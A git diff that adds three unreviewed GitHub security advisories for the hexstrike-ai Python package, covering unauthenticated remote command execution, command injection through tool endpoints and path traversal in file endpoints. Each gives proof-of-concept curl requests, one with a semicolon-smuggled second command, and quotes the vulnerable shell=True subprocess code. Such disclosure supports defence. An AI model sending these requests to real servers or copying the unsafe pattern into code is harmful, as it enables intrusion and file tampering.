diff --git a/advisories/unreviewed/2026/04/GHSA-h3x5-r9c2-qm47/GHSA-h3x5-r9c2-qm47.json b/advisories/unreviewed/2026/04/GHSA-h3x5-r9c2-qm47/GHSA-h3x5-r9c2-qm47.json new file mode 100644 index 0000000000000..1f59203b8d69e --- /dev/null +++ b/advisories/unreviewed/2026/04/GHSA-h3x5-r9c2-qm47/GHSA-h3x5-r9c2-qm47.json @@ -0,0 +1,49 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-h3x5-r9c2-qm47", + "modified": "2026-04-20T00:00:00Z", + "published": "2026-04-20T00:00:00Z", + "aliases": [], + "summary": "hexstrike-ai: Unauthenticated Remote Code Execution via /api/command endpoint", + "details": "hexstrike-ai contains a critical vulnerability in its Flask REST API server (hexstrike_server.py). The /api/command endpoint accepts arbitrary shell commands via a JSON POST request and executes them using subprocess.Popen() with shell=True. No authentication or authorization is required.\n\nAn attacker can achieve full Remote Code Execution on the server by sending a simple HTTP request:\n\n```\ncurl -X POST http://:5000/api/command -H \"Content-Type: application/json\" -d '{\"command\":\"id\"}'\n```\n\nThe vulnerable code at line 6868:\n```python\nprocess = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n```\n\nRoot cause: Direct execution of user-supplied input via shell=True with zero authentication (CWE-78, CWE-306).", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H" + } + ], + "affected": [ + { + "package": { + "ecosystem": "PyPI", + "name": "hexstrike-ai" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/0x4m4/hexstrike-ai" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-78", + "CWE-306" + ], + "severity": "CRITICAL", + "github_reviewed": false, + "github_reviewed_at": null, + "nvd_published_at": null + } +} diff --git a/advisories/unreviewed/2026/04/GHSA-v7p8-c4f6-jw32/GHSA-v7p8-c4f6-jw32.json b/advisories/unreviewed/2026/04/GHSA-v7p8-c4f6-jw32/GHSA-v7p8-c4f6-jw32.json new file mode 100644 index 0000000000000..8a18fcbec3939 --- /dev/null +++ b/advisories/unreviewed/2026/04/GHSA-v7p8-c4f6-jw32/GHSA-v7p8-c4f6-jw32.json @@ -0,0 +1,48 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-v7p8-c4f6-jw32", + "modified": "2026-04-20T00:00:00Z", + "published": "2026-04-20T00:00:00Z", + "aliases": [], + "summary": "hexstrike-ai: Command Injection in multiple /api/tools/* endpoints via unsanitized parameters", + "details": "hexstrike-ai contains command injection vulnerabilities in multiple tool endpoints of its Flask REST API server (hexstrike_server.py). Endpoints such as /api/tools/nmap, /api/tools/dig, /api/tools/whois, and 10+ other tool endpoints construct shell commands using Python f-strings with user-supplied input, then execute them via subprocess.Popen() with shell=True.\n\nNo authentication is required. An attacker can inject arbitrary shell commands via the tool parameters.\n\nExample exploitation via /api/tools/nmap:\n\n```\ncurl -X POST http://:5000/api/tools/nmap -H \"Content-Type: application/json\" -d '{\"target\": \"127.0.0.1; id > /tmp/pwned.txt\"}'\n```\n\nVulnerable pattern (repeated across 10+ endpoints):\n```python\ncommand = f\"nmap {flags} {target}\"\nprocess = subprocess.Popen(command, shell=True, ...)\n```\n\nRoot cause: Unsanitized user input concatenated into shell commands (CWE-78).", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H" + } + ], + "affected": [ + { + "package": { + "ecosystem": "PyPI", + "name": "hexstrike-ai" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/0x4m4/hexstrike-ai" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-78" + ], + "severity": "CRITICAL", + "github_reviewed": false, + "github_reviewed_at": null, + "nvd_published_at": null + } +} diff --git a/advisories/unreviewed/2026/04/GHSA-w2k9-m5g4-xr86/GHSA-w2k9-m5g4-xr86.json b/advisories/unreviewed/2026/04/GHSA-w2k9-m5g4-xr86/GHSA-w2k9-m5g4-xr86.json new file mode 100644 index 0000000000000..94a8148dbffbc --- /dev/null +++ b/advisories/unreviewed/2026/04/GHSA-w2k9-m5g4-xr86/GHSA-w2k9-m5g4-xr86.json @@ -0,0 +1,49 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-w2k9-m5g4-xr86", + "modified": "2026-04-20T00:00:00Z", + "published": "2026-04-20T00:00:00Z", + "aliases": [], + "summary": "hexstrike-ai: Path Traversal in /api/files/* endpoints allows arbitrary file read/write/delete", + "details": "hexstrike-ai contains a path traversal vulnerability in its file management API endpoints (hexstrike_server.py). The /api/files/create, /api/files/modify, /api/files/delete, and /api/files/list endpoints accept file paths from user input without any path normalization, sanitization, or directory confinement checks.\n\nNo authentication is required. An attacker can read, write, modify, or delete arbitrary files on the server filesystem (subject to the process user's permissions).\n\nExample exploitation:\n\n```\ncurl -X POST http://:5000/api/files/create -H \"Content-Type: application/json\" -d '{\"path\": \"../../../../tmp/malicious.txt\", \"content\": \"pwned\"}'\n\ncurl -X POST http://:5000/api/files/list -H \"Content-Type: application/json\" -d '{\"path\": \"../../../../etc/\"}'\n```\n\nRoot cause: No path normalization or directory confinement on user-supplied file paths (CWE-22, CWE-306).", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H" + } + ], + "affected": [ + { + "package": { + "ecosystem": "PyPI", + "name": "hexstrike-ai" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/0x4m4/hexstrike-ai" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-22", + "CWE-306" + ], + "severity": "CRITICAL", + "github_reviewed": false, + "github_reviewed_at": null, + "nvd_published_at": null + } +}